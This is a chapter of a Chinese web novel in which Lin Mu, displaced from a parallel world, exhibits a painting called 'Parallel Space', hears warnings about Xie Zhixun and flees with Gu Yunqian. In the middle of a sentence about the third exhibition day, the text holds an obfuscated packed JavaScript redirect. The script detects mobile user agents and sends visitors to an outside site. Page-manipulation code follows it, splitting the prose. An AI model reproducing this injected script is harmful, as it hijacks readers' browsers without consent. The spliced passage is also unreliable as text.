谢知寻给方婕安排在VIP病房，房间采光好，正值下午阳光最温暖的时候，洒在方婕身上暖烘烘的。


    林沐从门口走到病床前，这段路似有千里远，她低着头走到方婕身旁，开口时声音干涩，“妈。”


    方婕的目光落在林沐身上，她颤抖地抬起手，林沐连忙拉住她，“妈？”


    “孩子，我对不起你。”


    方婕拉着林沐在床边坐下，她另一只手抚上林沐的脑袋，眼眸中闪烁着泪花。


    林沐茫然地看向站在旁边的谢知寻，他点点头，嘴角带着柔和的笑意。


    “知寻把一切都告诉我了。都是我家沐沐的错，很抱歉把你牵扯进这个时空。等你们找到她，该怎么处置就怎么处置。”


    “来，阿姨抱抱。”


    林沐的喉咙像堵着一块石头，怎么都发不出声音，她颤抖的唇最终什么都没有说。


    之后几天林沐有空就会来看方婕，有时一呆就是一个下午。


    方婕不怎么说话，林沐就陪着她坐在公园长椅上，静静地感受微风拂过脸颊的触感。


    始终不是真正的母女，即使是一样的面容，可根本没有共同经历，便不会有共同话题。


    两个陌生人，坐在长椅上发呆罢了。


    ·


    ·


    画展第一天。


    林沐提前把那副特别的画挂上预留好的位置。


    标志性的城市建筑，浸湿在雨幕里，上涨的雨水淹没半截高楼，倒映出另一个相似又相反的世界。


    倒映在雨水里的那个世界，虚拟又模糊，却跟现实世界相连接，高楼顶部玻璃碎裂，一个人影从空中坠落。


    作品命名：平行时空。


    “震撼神作啊。怪不得你要把这幅画放在这里。为什么要取这个名字，平行时空？”


    林沐脸上挂着笑意，摇摇头并没有解释。“懂的人自然能看懂，我想等一个不确定的人。”


    冥冥中的直觉，既然林沐是来自另一个时空，那在这个世界，会不会有人和她有相同的经历。


    王容对外的宣传营销做得好，来观展的人很多，几乎每一幅作品前都围着人。


    林沐站在一处角落，静静等待来参观的人经过《平行时空》。


    不料竟出现让她意想不到的人。


    她上前轻拍他的肩膀，林戬惊恐地回头，快速环顾四周确认没人跟着他，随后把林沐拉到隐秘的角落里。


    “你怎么会在这里？”


    “你听我说，首先我跟你道歉，之前是我不好。但是现在，我想请你救救我的女儿……”


    林戬握着林沐的手在颤抖，哽咽的声音越来越小声，还时刻警惕附近的人。


    林沐挣脱被他抓住的手，后退半步保持安全距离。


    林戬接着说：“我没有疯，我很清醒，是谢知寻他想要杀了我女儿，他把沐沐困在时空隧道了！还想把我困在精神病院！”


    林戬的瞳孔骤然放大，他来不及跟林沐说再多的事情，转身逃走。


    在他逃开后很快有几个人与林沐擦肩而过，那些人带着蓝牙耳机，着装相似。


    应该就是林戬一直在警惕的人，他们在抓他。


    林沐一整天都守在角落，她的目光不曾离开那幅画，有不少的人停留在画作前，有评价技巧的，有讨论创意的，却没有深挖作品更进一步的立意。


    甚至还有要出高价买下这副画的。


    林沐很早就跟王容说过，所有画都可以出售，唯独这副不行。


    第一天的观展时间已到，出售了将近一半的画，等三天后画展结束，王容会安排人把画送到指定的买家地址。


    一天时间下来，王容接待了好几位投资人，脸都快笑僵了。


    她累得站不住脚，索性坐在地面上抱着林沐的大腿摇晃，“你的名声，从今天起打响！”


    林沐也随她一起坐在地面，还把酸痛的腰靠在王容身上。


    “诶，你找到你想找的人没？”


    林沐摇摇头，王容心里盘算着主意，她说：“如果三天后画展结束，你没找到那个人，要不就把画卖出去吧？今天那人出价真的高。”


    “不卖。”林沐很果断地回绝王容，“这幅画后续挂在你的工作室，让每个进来的人都能看见。”


    “你还要继续找人？那何不直接趁画展人最多的时候把它放在最显眼的位置？”王容不理解林沐想做什么，这明明是最直接的方式。


    “不好。神秘的东西，肯定是要放在最后的，必须要让它单独放在这儿。”


    王容无言以对，不理解但尊重。


    ·


    ·


    林沐回家找了一部关于黑洞的纪录片，谢知寻刚进门就听见不同往常的电视音量，似是有人故意调高放给他听的。


    “两个黑洞吞噬合并，会产生巨大的能量，极有可能出现平行时空。”


    专业的解说人员正在对两个黑洞进行分析，林沐邀请谢知寻坐下一起观看。


    谢知寻脱下外套挂在玄关处，换上舒适的拖鞋才走过来挨着林沐坐下。


    他习惯性地把头靠在林沐肩上，不知从什么时候开始，林沐就发现他这个癖好，也没躲开，任由他靠着。


    “你说，两个时空是怎么连接的呢？会不会出现一些什么隧道？”


    “不知道，不了解。”谢知寻回应的语气淡淡的。


    过了一会，林沐再次开口问他：“林戬呢？他那边的治疗怎么样？”


    “应该还好。上次把他送进去之后没再去找过他，医生说等他恢复就会联系我，我们等医生的消息吧。”


    谢知寻说的话滴水不漏，把一切责任都推到医生身上，让林沐犹豫该不该相信他。


    谢知寻靠得近，低沉的嗓音就从耳边传来，“如果你能找到回去的隧道，你会毫不犹豫地回去吗？”


    “当然。”


    “那如果找不到呢？”他追问，迫切地想要知道答案。


    “我能找到的。”


    两人沉默地依靠对方，客厅只剩下电视里传出的解说声音，直到阿姨说饭做好了，林沐推开打瞌睡的谢知寻去吃饭。


    她惊奇地发现自己的嗜睡症已经好些时间没有发作，反而谢知寻像被传染了似的。


    ·


    ·


    画展第三天，原本林沐已经不抱希望。


    可是一个男人停在《平行时空》面前足足有一个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242589|197802||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小时。


    林沐当即决定上前想跟他谈谈，“你从这幅画里能看到什么？”


    “那个坠落的人正在求救。”他说的是那个人影，是林沐灵机一动添上去的，求救吗？或许她都没发觉她的这种行为是求救。她只是想回家。


    “我见过平行时空。”那个男人接下来说的话让林沐看见一丝希望。


    “在梦里，我看到一个漆黑且深不见底的洞，通往另一个世界。如果能找到那个黑洞，就能通向平行世界。”


    “可是，要如何找那个黑洞呢？”


    刚燃起的希望又熄灭了。


    男人沉默了许久，就在林沐以为他不会再说时，他忽然提到时空隧道。


    “需要一串咒语才能打开时空隧道。”


    林沐瞳孔骤缩，猛地转头看向男人，“什么咒语？”


    “你来自平行时空吗？”


    林沐没有回答，突然间她被男人拉住手腕往门外跑去，正好碰上赶在最后一天来观展的谢知寻。


    林沐来不及跟他打声招呼就被男人拉着跑，谢知寻站在原地望向她离开的背影，他修长的手指按住蓝牙耳机，对着另一头下达指令：“跟上她。”


    男人带着林沐穿过几条小巷，进入地铁口，正好赶上即将关门的地铁，把谢知寻派来跟随的人都拦在门外。


    林沐当然认得那些人的装备，她这时才发现，那些人的目标不仅仅是林戬。


    除了谢知寻，她想不到其他人。


    她转了转手腕，提醒男人：“你要不先松开我的手？”


    “啊！不好意思。”男人松手后，换成友好的握手姿势，向林沐介绍自己，“我叫顾云谦。”


    林沐也友好回应他，“林沐。”


    “抱歉，为了甩掉那些跟踪你的人，才不得不突然拉着你跑，没受伤吧？”


    “没事。”林沐在心里默默赞赏此人的洞察力，要不是他拉着跑这一出，林沐根本察觉不到身边有人跟着，她觉得自己的警惕性还有待提高。


    或许因为现在是工作日下午，这一趟地铁几乎没有人。


    顾云谦再次问出那个问题：“所以你来自平行时空吗？”


    林沐眼神往下瞟，“呃…不是，我只是想去平行世界看看。”


    顾云谦抓着扶手，另一只手收撑在林沐旁边，他比她高出一个头，邪魅的笑容挂在脸上，毫不留情地戳穿林沐，“撒谎可不是好习惯哦？”


    “好歹我也是刚才带你躲开了那些人的监视，不用这么防着我。”


    “好吧，我是。”


    “这么快就说实话了？你这撒谎技术也不太行啊。”


    林沐头顶不断冒出问号，觉得这人找事吧？


    顾云谦嬉皮笑脸地道歉，“开玩笑，开玩笑哈哈哈。”


    回归正题，顾云谦把头转向窗外的风景，他说：“时空隧道的咒语，我外婆知道，但她一直不告诉我。”


    “我可以带你去找她。正好我刚回国，也很久没见她了，有点想念我外婆做的饭呢。”


    另一边的谢知寻，他烦躁地捏了捏眉心，他觉得他手底下的人是时候该换一批了。


    “老大，跟丢了。”


    “啧。”